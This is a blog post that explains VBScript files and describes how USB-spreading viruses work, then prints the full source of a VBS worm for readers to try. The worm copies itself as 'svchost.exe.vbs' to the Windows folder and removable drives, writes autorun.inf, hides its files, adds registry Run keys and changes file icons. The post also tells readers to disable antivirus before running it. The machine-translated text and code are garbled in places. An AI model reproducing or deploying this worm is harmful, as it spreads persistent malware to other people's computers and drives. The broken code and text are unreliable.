First of all, what is a VBS file?
A vbs file is an executable file that is run by a program called wscript.exe. It runs like a batch file (.bat) or a .exe file. Some of the most dangerous and harmful viruses and worms of all time were vbs, although it isn’t used much these days, you can still damage a computer quite badly with one. I learned this the hard way.
Detailed
Folder icon or documents with the Application Type and Screen Saver
is guaranteed to be virus. Because the maker and screen saver applications
install folder icon or the word must have a less good faith.
3. Usually
these viruses masquerading under the name of an existing file in your flash or
diskette, while your original documents hidden in a hidden file. For how to
bring these hidden files you can see in the blog without anti-virus Prevent
Viruses
4. When you double-click virus, the virus program will be executed. The
first step is to open a document that the virus is hidden to reduce the user’s
suspicion.
5. The next virus will copy itself to the hard drive and write
the registry at HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \
CurrentVersion \ Run or HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \
CurrentVersion \ Run so that the virus program is executed automatically when
the computer first turns on.
6. If necessary Virus Task manager and regedit
to disable to prevent users from manually remove the virus
7. The next virus
will be activated to check if there is a new document file in flash or diskette
in every few seconds, which would then be hidden and then copy the virus file
and name in accordance with this hidden file name. The virus also will write the
script in the flash Autorun.inf is hidden so that the virus is automatically
executed when the flash is in the double-click the My Computer
So
demikiankah cycle virus from pendrive to the computer and from computer to
pendrive
About VB Script
VB Script or Visual Basic Script is really
just plain text that contains the code of visual basic programming language and
stored with vbs format. To create a vbscript simple enough to use a text editor
such as Notepad or using a more complete, such as Ultra Edit or Notepad + +.
Here is an example of a simple vbscript.
1. Open the Notepad program
from Start> All Programs> Accessories> Notepad.
2. Write the
following text
MsgBox “This is a sample VB Script Simplified”
3. Then
save the file with the change Save as Type to All Files
4. Give the file a
name with an extra. Vbs behind. For example ScriptSederhanan.vbs
5. Now look
at the display icons in file explorer, no longer in the form of text. Try to
click 2 times the file, then the dialog box will appear saying This is a sample
VB Script Simple.
6. Required for the vbscript to be virus code so that the
right is just follow the process described above.
Simple Virus Code
Examples
Here is a sample code using vbscript a simple virus. If you
want to try should turn off Anti-virus on also Install Deep Freeze and freeze
the entire hard drive later
‘El Magnifico MAN
on error resume next
mysource dim, winpath, flashdrive, fs, mf, ATR, tf, RG, nt, check, sd
ATR = “[autorun]” & vbcrlf & “ShellExecute = wscript.exe
svchost.exe.vbs”
set fs = createobject (“Scripting.FileSystemObject”)
set mf = fs.getfile (Wscript.ScriptFullname)
dim text, size
size =
mf.size
check = mf.drive.drivetype
set text = mf.openastextstream (1,
-2)
do while not text.atendofstream
mysource = mysource &
text.readline
mysource = mysource & vbcrlf
loop
do
Set
winpath = fs.getspecialfolder (0)
set tf = fs.getfile (winpath & “\
svchost.exe.vbs”)
tf.attributes = 32
set tf = fs.createtextfile (winpath
& “\ svchost.exe.vbs”, 2, true)
tf.write mysource
tf.close
sets
tf = fs.getfile (winpath & “\ svchost.exe.vbs”)
tf.attributes = 39
For Each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or
flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf =
fs.getfile (flashdrive.path & “\ svchost.exe.vbs”)
tf.attributes = 32
set tf = fs.createtextfile (flashdrive.path & “\ svchost.exe.vbs”, 2,
true)
tf.write mysource
tf.close
set tf = fs.getfile
(flashdrive.path & “\ svchost.exe.vbs”)
tf.attributes = 39
set tf =
fs.getfile (flashdrive.path & “\ autorun.inf”)
tf.attributes = 32
set tf = fs.createtextfile (flashdrive.path & “\ autorun.inf”, 2, true)
ATR tf.write
tf.close
set tf = fs.getfile (flashdrive.path & “\
autorun.inf”)
tf.attributes = 39
end if
next
set of RG =
createobject (“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE \ Software \
Microsoft \ Windows \ CurrentVersion \ Run \ svchost”, winpath & “\
svchost.exe.vbs”
rg.regwrite “HKEY_LOCAL_MACHINE \ Software \ Microsoft \
Windows \ CurrentVersion \ Run \ MS32DLL”, “”
rg.regwrite “HKCR \ vbsfile \
DefaultIcon \”, “shell32.dll, 3”
if check <> 1 then
Wscript.sleep
100,000
end if
loop while check <> 1
set sd = createobject
(“Wscript.shell”)
sd.run winpath & “\ explorer.exe / e, / select,” &
Wscript.ScriptFullname
do while year (now)> = 2008
WScript.sleep
20000th
MsgBox “Eliminate the UN to improve education in Indonesia”
& vbcrlf & _
“Because a lot happens in the UN political fraud and
schools” & vbcrlf & _
“To raise the prestige schools. Even in
certain districts,” & vbcrlf & _
“Cheating is sanctioned by the
district government is” & vbcrlf & _
vbcrlf & vbcrlf & _
“NATIONAL EXAM unselect” & vbcrlf & vbcrlf & _
“The voice of
the teacher concerned on the education system”
loop
That’s it for now, keep visiting every day for new posts. And by the way, this code is originally not mine, in case you worry about plagiarism
See ya later!
Ezzy 4450 🙂
blogginaboutstuffz 